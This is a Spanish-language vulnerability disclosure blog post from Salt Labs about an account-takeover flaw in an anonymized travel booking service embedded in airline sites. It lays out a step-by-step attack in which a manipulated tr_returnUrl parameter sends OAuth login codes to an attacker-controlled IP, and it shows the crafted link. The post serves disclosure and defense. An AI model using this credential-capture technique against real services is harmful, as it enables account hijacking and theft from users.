¿Vas a ir a Black Hat? Reunámonos

Salt Labs

Ataques a la cadena de suministro de API: una vulnerabilidad de toma de control de cuenta pone en riesgo a millones de usuarios de aerolíneas

January 28, 2025

Amit Elbirt
Investigador de seguridad - Salt Labs

La toma de control de cuentas de un proveedor de servicios externo puede poner en riesgo a millones de usuarios de aerolíneas en todo el mundo.

Resumen

Salt Labs ha identificado una vulnerabilidad de toma de control de cuenta en un popular servicio de viajes de primer nivel para reservas de hoteles y alquiler de coches. El servicio está integrado en decenas de plataformas de aerolíneas comerciales y permite a los usuarios añadir reservas de hotel a su itinerario de vuelo.

Al explotar este fallo, los atacantes pueden obtener acceso no autorizado a la cuenta de cualquier usuario dentro del sistema, lo que les permite suplantar la identidad de la víctima y realizar una serie de acciones en su nombre, como reservar hoteles y coches de alquiler utilizando los puntos de fidelidad de la aerolínea de la víctima, cancelar o editar información de reservas, entre otras.

Esta vulnerabilidad puede explotarse mediante un enlace malicioso que elude los controles de seguridad del servicio de viajes. Los atacantes pueden distribuir este enlace por correo electrónico, mensajes de texto o sitios web bajo su control para atraer a las víctimas. Una vez que se hace clic en el enlace y tras una autenticación exitosa en el servicio oficial de la aerolínea, el atacante obtiene acceso total a la cuenta del usuario dentro del sistema de viajes.

Esta vulnerabilidad podría haber puesto en riesgo a millones de usuarios de aerolíneas en línea. Tras nuestra investigación y el proceso de divulgación coordinada, el servicio de viajes en línea ha identificado, confirmado y abordado los riesgos, los cuales ya han sido mitigados.

Aviso legal

Tras la divulgación coordinada del equipo de Salt Labs, este informe ha sido completamente anonimizado para cumplir con la solicitud de anonimato de la compañía de viajes de clase mundial a la que se hace referencia.  

Motivación

El mundo de los servicios en línea es fascinante. No sería exagerado decir que, por sí solo, ha cambiado la vida de millones de personas. Hoy en día, en lugar de ir a una tienda de comestibles, simplemente puedes comprar todo lo que necesitas a través de una aplicación móvil y, en poco tiempo, llegará a la puerta de tu casa.

Los beneficios de los servicios en línea parecen no tener fin; sin embargo, lo que debe tenerse en cuenta son las interfaces de programación de aplicaciones (API) asociadas a dichos servicios. En términos sencillos, las API son el lenguaje en el que se comunican estos servicios en línea. Si miras bajo el capó de tu aplicación móvil, verás que esto es exactamente lo que sucede entre bastidores.

Si bien esta increíble funcionalidad aporta un valor evidente a los usuarios en línea, el potencial no termina ahí. Verás, estos servicios pueden ser utilizados trivialmente por el consumidor final, pero también pueden ser utilizados por otros servicios.

Piénsalo por un segundo: una tienda de comestibles que ofrece un servicio de entrega a domicilio. ¿Se metió la tienda en el negocio de la logística? Bueno, no necesariamente. De hecho, en la mayoría de los casos, la respuesta es no. Pero si eres una tienda de comestibles, ¿por qué dejar que eso te desanime? Si no pueden ofrecer un servicio de entrega por sí mismos, siempre pueden utilizar un servicio de entrega externo. Todo lo que necesitan hacer es conectar su tienda en línea a un servicio de entrega y dejar que este se encargue de toda la logística; solo tienen que proporcionar los detalles y listo: ahora tienen una tienda de comestibles en línea que ofrece servicio de entrega. Lo mejor de todo es que sus clientes no tienen idea de los pasos que se tomaron para establecer el servicio; para ellos, solo están interactuando con tu tienda en línea, nada más.

Y así, un enorme ecosistema de API se desarrolla justo debajo de las narices de los clientes. Servicios que utilizan otros servicios que, a su vez, utilizan otros servicios, y así sucesivamente.

Por supuesto, esto es fantástico. Proporciona mejores servicios a los clientes en línea y una amplia gama de opciones de flexibilidad a las empresas en casi cualquier sector. Sin embargo, también tiene un efecto secundario menos evidente.

Siempre que se produce una interacción entre servicios, debe existir cierto nivel de confianza entre ambas partes. En el caso de una tienda de comestibles en línea, los detalles de entrega, el número de teléfono e incluso la tarjeta de crédito del cliente deben compartirse con el proveedor del servicio de entrega. A partir de ese momento, la tienda de comestibles ya no puede proteger estos datos, ya que están fuera de su control, y los usuarios ahora deben confiar en la seguridad de un proveedor externo del cual, como se mencionó, generalmente ni siquiera son conscientes.

Esto, por supuesto, presenta una nueva oportunidad para los atacantes. Desde su perspectiva, la superficie de ataque disponible se ha multiplicado, brindando más oportunidades para encontrar problemas de seguridad.

Imagine que una tienda de comestibles en línea hace un trabajo excelente protegiendo a sus clientes, lo que dificulta mucho que un atacante acceda al sistema y robe datos privados. Sin embargo, el atacante puede optar por atacar al servicio de entrega en lugar de a la tienda, ya que es una empresa distinta; existe la posibilidad de que sus controles de seguridad no sean tan estrictos como los de la tienda y, si tiene éxito, el objetivo se cumple igualmente, ya que el servicio de entrega ahora posee toda la información privada necesaria.

Este tipo de ataque se denomina "ataque a la cadena de suministro de API", en el que el atacante elige atacar un eslabón más débil en el ecosistema de API del servicio.

Aunque los profesionales de la seguridad conocen desde hace tiempo los ataques a la cadena de suministro, son mucho menos conocidos por el público general, y hemos visto muy pocos casos reales de ataques a la cadena de suministro de API o vulnerabilidades técnicas publicadas.

También es importante mencionar que muchos controles y políticas de seguridad de gobernanza, como el RGPD, la HIPAA y muchos otros, se han creado e implementado a lo largo de los años para abordar este riesgo. Si bien han mejorado la situación y reducido el riesgo, el problema no desaparece por completo.

Por eso decidimos abordar este problema: para intentar encontrar un ataque real a la cadena de suministro de API que pudiera afectar a millones de usuarios en línea. Esperamos que esto arroje algo más de luz sobre este tema tan importante y aumente la concienciación al respecto.  

Elegir un objetivo

Así que nos embarcamos en la misión de encontrar un ataque real a la cadena de suministro de API, pero ¿por dónde deberíamos empezar a buscar?

Comenzamos a buscar servicios en línea relacionados con viajes que ofrecieran integración con terceros. Nuestro objetivo era encontrar un servicio popular que compartiera una confianza considerable e información valiosa del servicio solicitante.

Tras investigar mucho, encontramos un servicio que podría ser lo que buscábamos.

Como se mencionó anteriormente, hemos decidido anonimizar el servicio en este artículo y, de ahora en adelante, nos referiremos a él como "Acme Travel". Ofrece soluciones de reserva de hoteles y alquiler de coches en línea.

Tras seguir buscando, descubrimos que este servicio es, efectivamente, un proveedor popular para muchas aerolíneas comerciales, así como para otros servicios minoristas. Además, la integración con este servicio permite a los usuarios reservar hoteles y coches de alquiler utilizando sus puntos de fidelidad de la aerolínea, lo que significa que esta información es de confianza y se comparte entre la aerolínea y el servicio de Acme Travel.

Increíble, esto es justo lo que buscábamos. Obviamente, irrumpir en una aerolínea para intentar robar puntos de fidelidad sería una tarea muy difícil para cualquier atacante, pero quizás este nuevo servicio, o el punto de conexión entre estos servicios, podría cambiar esta ecuación.

Motivados y con un objetivo potencial, ya teníamos todo lo necesario para comenzar nuestra investigación. Solo nos faltaba encontrar una vulnerabilidad de seguridad. Que empiecen los juegos.

El plan

Desde una perspectiva técnica, la mejor manera de lograr nuestro objetivo era encontrar un escenario de apropiación de cuenta en los servicios de Acme Travel. Esto nos permitiría iniciar sesión directamente en el servicio como cualquier usuario y actuar en su nombre, incluyendo, por supuesto, realizar reservas de hoteles y alquiler de coches utilizando los puntos de fidelidad de la aerolínea del usuario. Para lograrlo, primero tuvimos que comprender mejor el servicio de la aerolínea, el servicio de Acme Travel y su conexión.

Proceso normal

Comencemos describiendo el proceso de inicio de sesión típico en el sitio web de una aerolínea que ha optado por utilizar el servicio de viajes de Acme. Obviamente, hemos analizado muchos servicios de aerolíneas en línea. Sin embargo, para los fines de esta investigación, mencionaremos una aerolínea ficticia que sigue exactamente el mismo flujo técnico que Salt Airlines.

En algún momento, después de realizar la reserva inicial de la aerolínea, los usuarios de la aplicación principal de Salt Airlines — www.saltairlines.sec pueden optar por añadir una reserva de hotel o de coche de alquiler a su viaje. Si deciden hacerlo, serán redirigidos a la integración del servicio de Acme Travel acme.saltairlines.sec. Cabe destacar que, desde la perspectiva del usuario, todo esto ocurre de forma transparente; es difícil incluso notar que ya no se encuentran en el sitio original de Salt Airlines, ya que el diseño web está personalizado y la experiencia de usuario está totalmente alineada con el servicio de la aerolínea.

Una vez que el usuario es redirigido al sitio integrado de Acme-Travel, puede iniciar sesión con sus credenciales de la aerolínea. En ese momento, el backend de Acme-Travel generará un enlace y redirigirá al usuario de vuelta al sitio web principal de la aerolínea para realizar la autenticación mediante una tecnología llamada OAuth. Una vez que el inicio de sesión se realiza correctamente, este proceso recupera la información de la cuenta del usuario desde el sitio de la aerolínea, incluyendo sus datos personales y el estado de sus puntos de fidelidad.

Tras completar estos pasos, el usuario es redirigido de nuevo a acme.saltairlines.sec, donde ahora puede acceder y utilizar sus puntos de fidelidad de la aerolínea para reservar hoteles y coches de alquiler cuando lo desee.

A continuación, se presenta un desglose técnico de las solicitudes que se generan como parte de este proceso:

  1. Cuando el usuario hace clic en el botón de inicio de sesión, su navegador sigue este enlace:

    https://acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example
  1. A continuación, el usuario es redirigido automáticamente a la página oficial de inicio de sesión de Salt Airlines (www.saltairlines.sec), iniciando un flujo OAuth:

    https://www.saltairlines.sec/authorization.oauth2?response_type=code&client_id=acmemiles&state=35b217d3-df3f-4b64-b0ab-1a4382f450b4&redirect_uri=https://acme.saltairlines.sec/
  1. Tras una autenticación exitosa, el usuario es redirigido al siguiente enlace (valor del parámetro tr_returnUrl), que incluye un código secreto y un ID como parámetros de consulta:

    https://acme.saltairlines.sec/?tr_code=920b677d-00eb-4f68-a58e-5b265ada522d&tr_id=d14b207037b25f497bfdb9139e47312bc06e4e4a&tr_state=
  1. Por último, acme.saltairlines.sec crea una cookie de sesión (JSESSIONID) enviando una solicitud POST con el código y el ID a este endpoint:

    https://acme.saltairlines.sec/SessionEndpoint

Proceso malicioso

Ahora que entendemos claramente cómo funcionan los servicios y cómo interactúan entre sí, es momento de intentar encontrar problemas de seguridad dentro del proceso.

Al examinar detenidamente el flujo de autenticación, nos dimos cuenta de que el parámetro tr_returnUrl que se encuentra en la solicitud de inicio de sesión inicial determina en realidad a dónde se enviarán los tr_code y tr_id una vez completada la autenticación correctamente.

Como recordatorio rápido, el tr_code y tr_id son parámetros equivalentes a las credenciales de usuario, ya que un atacante que los posea puede iniciar sesión en el servicio de Acme Travel sin necesidad de autenticación adicional.

https://acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example

En el flujo normal, los parámetros tr_code y tr_id se envían al servicio de Acme-Travel; sin embargo, al manipular el parámetro tr_returnUrl , intentamos redirigir el tr_code y el tr_id a un servidor bajo nuestro control. De tener éxito, esto nos permitiría capturar dichas credenciales, facilitando el acceso no autorizado y el secuestro de cuentas.

¡Y parece que funcionó! Al enviar una solicitud con un parámetro tr_returnUrl manipulado que apunta a un servidor bajo nuestro control, podemos ver que, efectivamente, se recibe una solicitud del cliente que contiene tanto el tr_code como el tr_id parámetros.

Esto básicamente nos permite tomar el control de la cuenta de un usuario de la aerolínea una vez que se autentica correctamente en el sitio web de la misma.

Para llevar a cabo nuestro ataque, se siguen los siguientes pasos:

  1. En el paso 1 del flujo de inicio de sesión normal, observe el tr_returnUrl parámetro. Este valor contiene el dominio que recibirá los valores code e id tras un inicio de sesión exitoso.

    En nuestro caso de uso, la tr_returnUrl original es:

    tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&
  1. Al manipular este valor, un atacante puede reemplazarlo por una URL bajo su control, como:

    tr_returnUrl=http://142.93.164.25/evil
  1. El atacante comparte entonces este enlace modificado con la víctima utilizando cualquier método de comunicación disponible, como correo electrónico, mensajes SMS, publicaciones en foros en línea, etc.
  2. Una víctima que encuentre este enlace tendrá muy pocas pistas sobre la presencia del código malicioso, ya que el dominio del enlace es el dominio oficial de la aerolínea y la solicitud parece completamente legítima.
  3. Dado que el servidor backend no valida el tr_returnUrl dominio, acepta cualquier valor como redirección válida. En consecuencia, genera el enlace OAuth de Salt Airlines correspondiente:

6. Una vez que la víctima se autentica correctamente en la página oficial de la aerolínea, los valores code y id se envían a la URL controlada por el atacante. En este caso, la solicitud se vería así:

https://acme.saltairlines.sec/start?tr_returnUrl=http://142.93.164.25/evil&language=en&tr_backend_session=c077f47e-c60e-45ec-96d7-e512812fa638

7. El atacante puede utilizar estas credenciales para obtener un token de sesión válido realizando una solicitud al siguiente endpoint:

https://acme.saltairlines.sec/SessionEndpoint

8. Con este token de sesión, el atacante puede iniciar sesión en el sistema como si fuera la víctima y realizar acciones en su nombre, incluyendo, por supuesto, reservar hoteles y coches de alquiler utilizando únicamente los puntos de fidelidad de la aerolínea de la víctima.

9. El atacante se va de vacaciones gratis :)

Notas:

Si la víctima ya ha iniciado sesión en www.saltairlines.sec, será redirigida al servidor del atacante con el code y el id con un solo clic, sin necesidad de iniciar sesión adicional.

Dado que el enlace manipulado utiliza un dominio de cliente legítimo (la manipulación ocurre solo a nivel de parámetro y no a nivel de dominio), este ataque resulta difícil de detectar mediante métodos estándar de inspección de dominios o listas de bloqueo/permisos.

Conclusión

Esta vulnerabilidad descubierta permite a los atacantes tomar el control de las cuentas de las víctimas con un solo clic. Aunque la toma de control ocurre dentro del servicio integrado de Acme, proporciona a los atacantes acceso total a la información de identificación personal (PII) del usuario desde la cuenta principal de Salt Airlines, incluidos todos los datos de millas y recompensas. Más allá de la simple exposición de datos, los atacantes pueden realizar acciones en nombre del usuario, como crear pedidos o modificar los detalles de la cuenta. Este riesgo crítico pone de relieve las vulnerabilidades en las integraciones de terceros y la importancia de protocolos de seguridad estrictos para proteger a los usuarios contra el acceso y la manipulación no autorizados de sus cuentas.

¿Qué puedo hacer?

Como siempre, es importante ofrecer a los lectores que han llegado a este punto de nuestra publicación algunas recomendaciones sobre lo que pueden hacer para evitar ser víctimas de esta y otras técnicas similares de ataque a la cadena de suministro de API.

Estas recomendaciones, sin embargo, varían según el rol que desempeñe en este ecosistema de API.

Usuarios de servicios

Como usuario de servicios en línea, siempre es recomendable actuar con precaución al recibir enlaces de fuentes no confiables, incluso si los enlaces parecen totalmente legítimos a primera vista y dirigen a sitios web legítimos y de confianza.

Consumidores de servicios

Si su servicio consume o utiliza un servicio de terceros, debe prestar especial atención al punto de integración entre estos servicios, así como a la relación de confianza entre ellos, y verificar que todo cumpla con sus estándares de seguridad deseados y que la información compartida entre los servicios sea estrictamente necesaria.

También es recomendable realizar comprobaciones de seguridad adicionales, así como metodologías de pruebas de penetración, dependiendo del tipo y la sensibilidad de la relación entre los servicios.  

Proveedores de servicios

Como proveedor de servicios, es fundamental asegurarse de que su servicio y sus puntos de integración estén bien protegidos. Se debe prestar especial atención a las etapas de diseño e implementación para garantizar que los estándares de seguridad se cumplan y se apliquen correctamente. Además, se recomienda considerar el uso de un proveedor externo capaz de identificar automáticamente cualquier brecha de seguridad existente y el tráfico anómalo en el momento en que ocurre, para respaldar un enfoque de defensa en capas más sólido.

Nuestras últimas publicaciones